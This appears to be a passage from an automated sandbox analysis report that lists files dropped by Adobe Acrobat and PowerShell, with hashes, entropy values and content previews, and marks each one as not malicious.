SHA-256:	23701E42C9790865387D4507051739F0F330A4975848D516B093118D35B8DCF1
SHA-512:	9A35352317E486E8D92562E3D83095CE7F1A9F47E336684620EE8D01ABFCE5EEA19C3776C0A3C51182428BB428C450F3ECE2841C9735D24995B8E32326E00640
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2639294865669255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJfshHHrPeUkwRe9:YvXKXNEn2cpQRRMGUUUkee9
MD5:	9015DDE3838D6F100D19E9146B16491D
SHA1:	376F6A065AFE225C6D840D6EA4C726040FDFC1E0
SHA-256:	35D03C50F3025C7700C08003D60537A034FA8433360421AB509F6669BE7AF757
SHA-512:	DE2B52E7CEA315ABC5F3D98F9373D27DB668EE1F878D7FF132788D2A98D679EBF350AFE69E7BF57AC0D995CBE20D8F12B0974C2DCDA62132A0F109ECE52EA660
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.270035438264728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNEnGwmnZiQ0YqQRRGkoAvJTqgFCrPeUkwRe9:YvXKXNEn2cpQRRMGTq16Ukee9
MD5:	EEB95DDBC9AC88C0A8C9F23C724C5B22
SHA1:	3D20B271A396B2D1B423E96E820612BCE3BB7CC4
SHA-256:	33DF6A681A09F437EC76FC238DE70A5DD6A0D00DA784BEB55743F7B76C0C0393
SHA-512:	294BEB22CED100523ED031F69C589FE632199D41704BF6F3AF27C72154419C0A6C3B1F58763341AA5FC47E466FC9962E45F33FFD7A87F0C4BF5172FFDCBA5E47
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"794a9401-470e-48d7-b9de-2b58db64ac55","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736708544232,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138130519238617
Encrypted:	false
SSDEEP:	24:YAYpzgGaJlraypDz6rLEDqhAT2YlXVTZGQOGn9uj2gsj0Sj8ZBCCp2aB12LSjOC9:Y7mlwL+lnC3+oPvccbTYQ+E93d
MD5:	7F0538DBB8B966D5918192D671C1EB10
SHA1:	2B35FC6EE33213BFD3817EB6DD82F8D9842F0578
SHA-256:	0797665B1E235D6E6E7CB13FBE5D6F2E15734F1D000C4D2A51AD7153C2785B7F
SHA-512:	571541CEE977C0F0F84963688AB184238A0A2090B055836280EAAD34E14124A19E659CC070DD021CC52E6BFF2557747C5DC0B1E9FE49F105BAFD3F85E289DE79
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e4468a8dbf33bd1a882b12ea3d91e7a2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736530869000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1bb8ddab0069768eeb02824eede15799","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736530868000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"058d63c33b0f2a62cc61d87a7ebd3191","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736530868000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"e12e4bb8c2f6a0708ef68ba68b8f5b19","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736530868000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"7c25035558dcf3f974dd616bcc1f5df7","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736530868000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2c59bd3dd1b59031563f806f2028ffd6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1462287603244365
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursDRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHW:TFl2GL7msXXc+XcGNFlRYIX2v3kW
MD5:	01B9715C58234485F6E2619575F356B4
SHA1:	FACE6434E0B2185629F5B78F5C19A52AA850FD59
SHA-256:	3D635F93C6D8E9DC6CB1B5C5F4E9BFF9E45A264EB78B94730D70A176D9992117
SHA-512:	20F041AE1F906B67EC0EDA309318B60D040F8E2A54FD0B09AE4304A9CB35FEB9508CD3F5D2D881481EC8D001485141A52FF362F3DBCA7842517A09E53B2FE51E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5525417570490245
Encrypted:	false
SSDEEP:	24:7+thUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxvvqLxx/XYKm:7MyXc+XcGNFlRYIX2vqvqVl2GL7mse
MD5:	05B85D1A305A6005EE40349FD78E43C2
SHA1:	8AE006B1721057A46559E8F77D0DF3138970209A
SHA-256:	A17E28255F22A8145115ECB511588793D37E31B8E0871A4BC7444107A68840ED
SHA-512:	BD053A4653727BF7EB097DC8B9B9DD22FF7695AE8BCA942EFBAD3C5EBF00021C69E5F97F8FD00B155798597036EC93B98DDDD11B7B35BC221E0A7D0F889E85DE
Malicious:	false
Preview:	.... .c........2..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgAWZMocr6M4uDjj9f5jr4KxGJYyu:6a6TZ44ADEAW2o86BuP4K4JK
MD5:	171841FE85BA7145D4F1F587DBDEF114
SHA1:	226D60443653AF45A255592C66219A44FA495182
SHA-256:	42638B24A00ABE5E1B3A0A902CC19EB4AA29A2919D66FF31ECE0066908E171CD
SHA-512:	1CDD156DA835D519EF3172B7B88D67F816646B8F0275A241461E08A023BF99F612DE65587A682AA9FCB4FCB98A78103562F7713FEB0F591D4FB30B07526C2E9B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI73c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486646639490294
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3RFYlYH:Qw946cPbiOxDlbYnuRK+bD3DYlYH
MD5:	40A9976B0AFD0E84D2F70E50DD12BDB6
SHA1:	B5068D3A7C537671B0344EF0F486ED638EEEC744
SHA-256:	44C832BF9E1EB380C0577979F0F694959F8ED13F7688993C9AA5BC01E7ADD454
SHA-512:	A40F4F073A7D363E1262597A43EB186DB6D52703EA579D7DC795ADEA4DF0040CA1D4A2E83A08A8F332F8E340D8256F0DF3339571B2E9A18FF0926DC7861D5A98
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.4.1.:.1.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aboleztn.qr4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_urqsowld.y23.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-41-04-695.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.323710624850536
Encrypted:	false
SSDEEP:	384:F4iFatS3ZaTZiILy+sTeKNADzkCHfD3dbU/bdZdh6jtrIL2bR4wjRER4VWEdBUMY:RxX
MD5:	74A19A6108ADD809BB3380E60999035A
SHA1:	0280BD94083C0E7F592E15962D42DF592853139F
SHA-256:	E79CBCDD99C1C4FBEDD339C6E0510CF7395645588CCDA461DF28DF15D370C2EB
SHA-512:	F2ED45433AD8191CB8E9BAA9530415B896DF10A2394E56B64A137B35619736ADB90E7541C5D972865FA79993C23BF9B4B73638BD576DF23C257E04544667B09F
Malicious:	false
Preview:	SessionID=7e145d3d-b6da-409d-b4d0-8bd1d3e60cc1.1736530864704 Timestamp=2025-01-10T12:41:04:704-0500 ThreadID=7544 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7e145d3d-b6da-409d-b4d0-8bd1d3e60cc1.1736530864704 Timestamp=2025-01-10T12:41:04:704-0500 ThreadID=7544 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7e145d3d-b6da-409d-b4d0-8bd1d3e60cc1.1736530864704 Timestamp=2025-01-10T12:41:04:704-0500 ThreadID=7544 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7e145d3d-b6da-409d-b4d0-8bd1d3e60cc1.1736530864704 Timestamp=2025-01-10T12:41:04:704-0500 ThreadID=7544 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7e145d3d-b6da-409d-b4d0-8bd1d3e60cc1.1736530864704 Timestamp=2025-01-10T12:41:04:704-0500 ThreadID=7544 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394300404556983
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbp2cbQI/FcbN:V3fOCIdJDezJ/+
MD5:	5B06FFFABA52DC8FB27BA57D5B41F3E4
SHA1:	CEAECE451C8C0BC7B4AC076A2B7FCB2413AD0ECB
SHA-256:	218C65EB4C506FC626C63E197193B8DA70A9E8A371F1BCBF9E924AB00433A1CE
SHA-512:	A995457E0FD3D949E2FF574032AB9A715CA94558DF499FA1B006C64B807363BC6E8CCA4E87A2E75BB56E5A395443BABFA3166CB26578633BF3F6B3D726D91C7C
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\29711fda-8cc6-4972-9de6-c8229d3f7150.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\56c3708b-9582-47f6-b86b-49919fda3c33.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5edd2f57-4d46-48bb-b69b-bf51510182c3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c2a95cb9-b332-4ebc-97c9-e67155b40de8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
